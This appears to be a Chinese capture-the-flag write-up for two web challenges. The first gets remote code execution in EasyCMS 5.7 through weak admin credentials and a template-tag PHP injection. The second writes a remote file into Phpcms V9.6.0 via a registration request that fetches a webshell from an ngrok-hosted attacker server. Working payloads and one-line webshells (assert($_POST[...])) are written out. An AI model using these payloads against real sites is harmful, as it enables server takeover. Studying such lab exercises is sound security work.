web477

题目提示rce

image-20220329200851338

是easycms的

去网站搜搜,搜到后台地址是admin.image-20220329202954637

弱口令admin admin登进去了

网上查了一下是5.7的版本,然后找一下漏洞

漏洞文件位置:/lib/table/table_templatetagwap.php 第3-20行:

 class table_templatetag extends table_mode {  
function vaild() {
if(!front::post('name')) {
front::flash('请填写名称!');
return false;
}
if(!front::post('tagcontent')) {
front::flash('请填写内容!');
return false;
}
return true;
}
function save_before() {
if(!front::post('tagfrom')) front::$post['tagfrom']='define';
if(!front::post('attr1')) front::$post['attr1']='0';
if(front::$post['tagcontent']) front::$post['tagcontent'] = htmlspecialchars_decode(front::$post['tagcontent']);
}
}

可以看到在写入文件之前,使用htmlsprcialchars_decode函数把预定义的html实体”<”和”>”大于转换为字符,因此我们可以使用双引号闭合,从而构造出payload写入文件,进一步触发代码,导致程序在现实上存在代码执行漏洞,攻击者可以通过构造恶意脚本代码写入配置文件,从而执行命令,控制网站服务器权限.

利用

  1. 登录后台,模板-自定义标签-添加自定义标签-填写payload-提交
111";<?php phpinfo()?>

image-20220329204815544

image-20220329205020283

​ 2.保存提交后,点击预览,成功触发代码,或者查看id的值,然后直接访问文件路径:

image-20220329205040655

image-20220329205402855

​ 3.使用别人的绕过过滤的一句话木马

11";}<?php assert($_POST[zf]);?>

image-20220329211842180

但是发现连不上,可能存在过滤

image-20220329212120484

image-20220329212134989

上传一般一句话木马的时候有过滤,在phpinfo页面curl + f 查找下flag

image-20220329211453351

web478

image-20220331204835567

这里有提示安装地址哦

http://5a4353d3-1ab1-481f-87af-ff6ce895dd9b.challenge.ctf.show/install/install.php

phpcms v9

看看有没有逻辑漏洞

image-20220331205003246

php版本

image-20220331205222577

几个可写路径

image-20220331205423918

填上数据库

image-20220331205531591

后台

cms的具体版本Phpcms V9.6.0

image-20220331205659917

image-20220331205733703

就是你了

这里需要一个公网ip,我没有,这里使用代理工具ngrok

image-20220331212735598

解压

image-20220331212749649

加一下这里的授权码

image-20220331212816253

image-20220331212903542

开启代理image-20220331212948427

image-20220331212935334

image-20220331214003493

image-20220331213950913

编辑一个txt文件在web服务中,并写入一句话木马

image-20220331214108522

image-20220331214334988

注册的时候抓包,将这个下面构造的放到info后面

siteid=1&modelid=11&username=test2&password=test2123&email=test2@163.com&info[content]=<img src=http://5edc-112-38-217-12.ngrok.io/wanan.txt?.php#.jpg>&dosubmit=1&protocol=

把这个替换一下,测试直接发送burp抓到的是没办法执行的,鬼知道什么原因,等我有时间了在分析,反正就是该删的删

<img src=http://5edc-112-38-217-12.ngrok.io/wanan.txt?.php#.jpg>

image-20220331215513458

回显了一个php文件

image-20220331215625769

image-20220331215641929

image-20220331215658454